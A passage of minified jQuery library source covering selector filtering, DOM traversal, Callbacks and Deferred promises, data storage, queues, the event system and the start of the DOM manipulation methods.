n},b=ce.expr.match.needsContext,w=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function T(e,n,r){return v(n)?ce.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?ce.grep(e,function(e){return e===n!==r}):"string"!=typeof n?ce.grep(e,function(e){return-1<se.call(n,e)!==r}):ce.filter(n,e,r)}ce.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?ce.find.matchesSelector(r,e)?[r]:[]:ce.find.matches(e,ce.grep(t,function(e){return 1===e.nodeType}))},ce.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(ce(e).filter(function(){for(t=0;t<r;t++)if(ce.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)ce.find(e,i[t],n);return 1<r?ce.uniqueSort(n):n},filter:function(e){return this.pushStack(T(this,e||[],!1))},not:function(e){return this.pushStack(T(this,e||[],!0))},is:function(e){return!!T(this,"string"==typeof e&&b.test(e)?ce(e):e||[],!1).length}});var k,S=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(ce.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||k,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:S.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof ce?t[0]:t,ce.merge(this,ce.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:C,!0)),w.test(r[1])&&ce.isPlainObject(t))for(r in t)v(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=C.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):v(e)?void 0!==n.ready?n.ready(e):e(ce):ce.makeArray(e,this)}).prototype=ce.fn,k=ce(C);var E=/^(?:parents|prev(?:Until|All))/,j={children:!0,contents:!0,next:!0,prev:!0};function A(e,t){while((e=e[t])&&1!==e.nodeType);return e}ce.fn.extend({has:function(e){var t=ce(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(ce.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&ce(e);if(!b.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&ce.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?ce.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?se.call(ce(e),this[0]):se.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(ce.uniqueSort(ce.merge(this.get(),ce(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),ce.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return d(e,"parentNode")},parentsUntil:function(e,t,n){return d(e,"parentNode",n)},next:function(e){return A(e,"nextSibling")},prev:function(e){return A(e,"previousSibling")},nextAll:function(e){return d(e,"nextSibling")},prevAll:function(e){return d(e,"previousSibling")},nextUntil:function(e,t,n){return d(e,"nextSibling",n)},prevUntil:function(e,t,n){return d(e,"previousSibling",n)},siblings:function(e){return h((e.parentNode||{}).firstChild,e)},children:function(e){return h(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(fe(e,"template")&&(e=e.content||e),ce.merge([],e.childNodes))}},function(r,i){ce.fn[r]=function(e,t){var n=ce.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=ce.filter(t,n)),1<this.length&&(j[r]||ce.uniqueSort(n),E.test(r)&&n.reverse()),this.pushStack(n)}});var D=/[^\x20\t\r\n\f]+/g;function N(e){return e}function q(e){throw e}function L(e,t,n,r){var i;try{e&&v(i=e.promise)?i.call(e).done(t).fail(n):e&&v(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}ce.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},ce.each(e.match(D)||[],function(e,t){n[t]=!0}),n):ce.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){ce.each(e,function(e,t){v(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==x(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return ce.each(arguments,function(e,t){var n;while(-1<(n=ce.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<ce.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},ce.extend({Deferred:function(e){var o=[["notify","progress",ce.Callbacks("memory"),ce.Callbacks("memory"),2],["resolve","done",ce.Callbacks("once memory"),ce.Callbacks("once memory"),0,"resolved"],["reject","fail",ce.Callbacks("once memory"),ce.Callbacks("once memory"),1,"rejected"]],i="pending",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return ce.Deferred(function(r){ce.each(o,function(e,t){var n=v(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&v(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,v(t)?s?t.call(e,l(u,o,N,s),l(u,o,q,s)):(u++,t.call(e,l(u,o,N,s),l(u,o,q,s),l(u,o,N,o.notifyWith))):(a!==N&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){ce.Deferred.exceptionHook&&ce.Deferred.exceptionHook(e,t.error),u<=i+1&&(a!==q&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(ce.Deferred.getErrorHook?t.error=ce.Deferred.getErrorHook():ce.Deferred.getStackHook&&(t.error=ce.Deferred.getStackHook()),ie.setTimeout(t))}}return ce.Deferred(function(e){o[0][3].add(l(0,e,v(r)?r:N,e.notifyWith)),o[1][3].add(l(0,e,v(t)?t:N)),o[2][3].add(l(0,e,v(n)?n:q))}).promise()},promise:function(e){return null!=e?ce.extend(e,a):a}},s={};return ce.each(o,function(e,t){var n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=ae.call(arguments),o=ce.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?ae.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(L(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||v(i[t]&&i[t].then)))return o.then();while(t--)L(i[t],a(t),o.reject);return o.promise()}});var H=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;ce.Deferred.exceptionHook=function(e,t){ie.console&&ie.console.warn&&e&&H.test(e.name)&&ie.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},ce.readyException=function(e){ie.setTimeout(function(){throw e})};var O=ce.Deferred();function P(){C.removeEventListener("DOMContentLoaded",P),ie.removeEventListener("load",P),ce.ready()}ce.fn.ready=function(e){return O.then(e)["catch"](function(e){ce.readyException(e)}),this},ce.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--ce.readyWait:ce.isReady)||(ce.isReady=!0)!==e&&0<--ce.readyWait||O.resolveWith(C,[ce])}}),ce.ready.then=O.then,"complete"===C.readyState||"loading"!==C.readyState&&!C.documentElement.doScroll?ie.setTimeout(ce.ready):(C.addEventListener("DOMContentLoaded",P),ie.addEventListener("load",P));var M=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n))for(s in i=!0,n)M(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,v(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(ce(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},R=/^-ms-/,I=/-([a-z])/g;function W(e,t){return t.toUpperCase()}function F(e){return e.replace(R,"ms-").replace(I,W)}var $=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function B(){this.expando=ce.expando+B.uid++}B.uid=1,B.prototype={cache:function(e){var t=e[this.expando];return t||(t={},$(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[F(t)]=n;else for(r in t)i[F(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][F(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(F):(t=F(t))in r?[t]:t.match(D)||[]).length;while(n--)delete r[t[n]]}(void 0===t||ce.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!ce.isEmptyObject(t)}};var _=new B,z=new B,X=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,U=/[A-Z]/g;function V(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(U,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:X.test(i)?JSON.parse(i):i)}catch(e){}z.set(e,t,n)}else n=void 0;return n}ce.extend({hasData:function(e){return z.hasData(e)||_.hasData(e)},data:function(e,t,n){return z.access(e,t,n)},removeData:function(e,t){z.remove(e,t)},_data:function(e,t,n){return _.access(e,t,n)},_removeData:function(e,t){_.remove(e,t)}}),ce.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=z.get(o),1===o.nodeType&&!_.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=F(r.slice(5)),V(o,r,i[r]));_.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){z.set(this,n)}):M(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=z.get(o,n))?t:void 0!==(t=V(o,n))?t:void 0;this.each(function(){z.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){z.remove(this,e)})}}),ce.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=_.get(e,t),n&&(!r||Array.isArray(n)?r=_.access(e,t,ce.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=ce.queue(e,t),r=n.length,i=n.shift(),o=ce._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){ce.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return _.get(e,n)||_.access(e,n,{empty:ce.Callbacks("once memory").add(function(){_.remove(e,[t+"queue",n])})})}}),ce.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?ce.queue(this[0],t):void 0===n?this:this.each(function(){var e=ce.queue(this,t,n);ce._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&ce.dequeue(this,t)})},dequeue:function(e){return this.each(function(){ce.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=ce.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=_.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var G=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,Y=new RegExp("^(?:([+-])=|)("+G+")([a-z%]*)$","i"),Q=["Top","Right","Bottom","Left"],J=C.documentElement,K=function(e){return ce.contains(e.ownerDocument,e)},Z={composed:!0};J.getRootNode&&(K=function(e){return ce.contains(e.ownerDocument,e)||e.getRootNode(Z)===e.ownerDocument});var ee=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&K(e)&&"none"===ce.css(e,"display")};function te(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return ce.css(e,t,"")},u=s(),l=n&&n[3]||(ce.cssNumber[t]?"":"px"),c=e.nodeType&&(ce.cssNumber[t]||"px"!==l&&+u)&&Y.exec(ce.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)ce.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,ce.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ne={};function re(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=_.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&ee(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ne[s])||(o=a.body.appendChild(a.createElement(s)),u=ce.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ne[s]=u)))):"none"!==n&&(l[c]="none",_.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}ce.fn.extend({show:function(){return re(this,!0)},hide:function(){return re(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ee(this)?ce(this).show():ce(this).hide()})}});var xe,be,we=/^(?:checkbox|radio)$/i,Te=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,Ce=/^$|^module$|\/(?:java|ecma)script/i;xe=C.createDocumentFragment().appendChild(C.createElement("div")),(be=C.createElement("input")).setAttribute("type","radio"),be.setAttribute("checked","checked"),be.setAttribute("name","t"),xe.appendChild(be),le.checkClone=xe.cloneNode(!0).cloneNode(!0).lastChild.checked,xe.innerHTML="<textarea>x</textarea>",le.noCloneChecked=!!xe.cloneNode(!0).lastChild.defaultValue,xe.innerHTML="<option></option>",le.option=!!xe.lastChild;var ke={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function Se(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&fe(e,t)?ce.merge([e],n):n}function Ee(e,t){for(var n=0,r=e.length;n<r;n++)_.set(e[n],"globalEval",!t||_.get(t[n],"globalEval"))}ke.tbody=ke.tfoot=ke.colgroup=ke.caption=ke.thead,ke.th=ke.td,le.option||(ke.optgroup=ke.option=[1,"<select multiple='multiple'>","</select>"]);var je=/<|&#?\w+;/;function Ae(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))ce.merge(p,o.nodeType?[o]:o);else if(je.test(o)){a=a||f.appendChild(t.createElement("div")),s=(Te.exec(o)||["",""])[1].toLowerCase(),u=ke[s]||ke._default,a.innerHTML=u[1]+ce.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;ce.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<ce.inArray(o,r))i&&i.push(o);else if(l=K(o),a=Se(f.appendChild(o),"script"),l&&Ee(a),n){c=0;while(o=a[c++])Ce.test(o.type||"")&&n.push(o)}return f}var De=/^([^.]*)(?:\.(.+)|)/;function Ne(){return!0}function qe(){return!1}function Le(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Le(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=qe;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return ce().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=ce.guid++)),e.each(function(){ce.event.add(this,t,i,r,n)})}function He(e,r,t){t?(_.set(e,r,!1),ce.event.add(e,r,{namespace:!1,handler:function(e){var t,n=_.get(this,r);if(1&e.isTrigger&&this[r]){if(n)(ce.event.special[r]||{}).delegateType&&e.stopPropagation();else if(n=ae.call(arguments),_.set(this,r,n),this[r](),t=_.get(this,r),_.set(this,r,!1),n!==t)return e.stopImmediatePropagation(),e.preventDefault(),t}else n&&(_.set(this,r,ce.event.trigger(n[0],n.slice(1),this)),e.stopPropagation(),e.isImmediatePropagationStopped=Ne)}})):void 0===_.get(e,r)&&ce.event.add(e,r,Ne)}ce.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=_.get(t);if($(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&ce.find.matchesSelector(J,i),n.guid||(n.guid=ce.guid++),(u=v.events)||(u=v.events=Object.create(null)),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof ce&&ce.event.triggered!==e.type?ce.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(D)||[""]).length;while(l--)d=g=(s=De.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=ce.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=ce.event.special[d]||{},c=ce.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&ce.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),ce.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=_.hasData(e)&&_.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(D)||[""]).length;while(l--)if(d=g=(s=De.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=ce.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||ce.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)ce.event.remove(e,d+t[l],n,r,!0);ce.isEmptyObject(u)&&_.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=ce.event.fix(e),l=(_.get(this,"events")||Object.create(null))[u.type]||[],c=ce.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=ce.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((ce.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<ce(i,this).index(l):ce.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(ce.Event.prototype,t,{enumerable:!0,configurable:!0,get:v(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[ce.expando]?e:new ce.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return we.test(t.type)&&t.click&&fe(t,"input")&&He(t,"click",!0),!1},trigger:function(e){var t=this||e;return we.test(t.type)&&t.click&&fe(t,"input")&&He(t,"click"),!0},_default:function(e){var t=e.target;return we.test(t.type)&&t.click&&fe(t,"input")&&_.get(t,"click")||fe(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},ce.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},ce.Event=function(e,t){if(!(this instanceof ce.Event))return new ce.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ne:qe,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&ce.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[ce.expando]=!0},ce.Event.prototype={constructor:ce.Event,isDefaultPrevented:qe,isPropagationStopped:qe,isImmediatePropagationStopped:qe,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ne,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ne,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ne,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},ce.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},ce.event.addProp),ce.each({focus:"focusin",blur:"focusout"},function(r,i){function o(e){if(C.documentMode){var t=_.get(this,"handle"),n=ce.event.fix(e);n.type="focusin"===e.type?"focus":"blur",n.isSimulated=!0,t(e),n.target===n.currentTarget&&t(n)}else ce.event.simulate(i,e.target,ce.event.fix(e))}ce.event.special[r]={setup:function(){var e;if(He(this,r,!0),!C.documentMode)return!1;(e=_.get(this,i))||this.addEventListener(i,o),_.set(this,i,(e||0)+1)},trigger:function(){return He(this,r),!0},teardown:function(){var e;if(!C.documentMode)return!1;(e=_.get(this,i)-1)?_.set(this,i,e):(this.removeEventListener(i,o),_.remove(this,i))},_default:function(e){return _.get(e.target,r)},delegateType:i},ce.event.special[i]={setup:function(){var e=this.ownerDocument||this.document||this,t=C.documentMode?this:e,n=_.get(t,i);n||(C.documentMode?this.addEventListener(i,o):e.addEventListener(r,o,!0)),_.set(t,i,(n||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=C.documentMode?this:e,n=_.get(t,i)-1;n?_.set(t,i,n):(C.documentMode?this.removeEventListener(i,o):e.removeEventListener(r,o,!0),_.remove(t,i))}}}),ce.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){ce.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||ce.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),ce.fn.extend({on:function(e,t,n,r){return Le(this,e,t,n,r)},one:function(e,t,n,r){return Le(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,ce(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=qe),this.each(function(){ce.event.remove(this,e,n,t)})}});var Oe=/<script|<style|<link/i,Pe=/checked\s*(?:[^=]|=\s*.checked.)/i,Me=/^\s*<!\[CDATA\[|\]\]>\s*$/g;function Re(e,t){return fe(e,"table")&&fe(11!==t.nodeType?t:t.firstChild,"tr")&&ce(e).children("tbody")[0]||e}function Ie(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function We(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Fe(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(_.hasData(e)&&(s=_.get(e).events))for(i in _.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)ce.event.add(t,i,s[i][n]);z.hasData(e)&&(o=z.access(e),a=ce.extend({},o),z.set(t,a))}}function $e(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=v(d);if(h||1<f&&"string"==typeof d&&!le.checkClone&&Pe.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),$e(t,r,i,o)});if(f&&(t=(e=Ae(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=ce.map(Se(e,"script"),Ie)).length;c<f;c++)u=e,c!==p&&(u=ce.clone(u,!0,!0),s&&ce.merge(a,Se(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,ce.map(a,We),c=0;c<s;c++)u=a[c],Ce.test(u.type||"")&&!_.access(u,"globalEval")&&ce.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?ce._evalUrl&&!u.noModule&&ce._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):m(u.textContent.replace(Me,""),u,l))}return n}function Be(e,t,n){for(var r,i=t?ce.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||ce.cleanData(Se(r)),r.parentNode&&(n&&K(r)&&Ee(Se(r,"script")),r.parentNode.removeChild(r));return e}ce.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=K(e);if(!(le.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||ce.isXMLDoc(e)))for(a=Se(c),r=0,i=(o=Se(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&we.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||Se(e),a=a||Se(c),r=0,i=o.length;r<i;r++)Fe(o[r],a[r]);else Fe(e,c);return 0<(a=Se(c,"script")).length&&Ee(a,!f&&Se(e,"script")),c},cleanData:function(e){for(var t,n,r,i=ce.event.special,o=0;void 0!==(n=e[o]);o++)if($(n)){if(t=n[_.expando]){if(t.events)for(r in t.events)i[r]?ce.event.remove(n,r):ce.removeEvent(n,r,t.handle);n[_.expando]=void 0}n[z.expando]&&(n[z.expando]=void 0)}}}),ce.fn.extend({detach:function(e){return Be(this,e,!0)},remove:function(e){return Be(this,e)},text:function(e){return M(this,function(e){return void 0===e?ce.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return $e(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Re(this,e).appendChild(e)})},prepend:function(){return 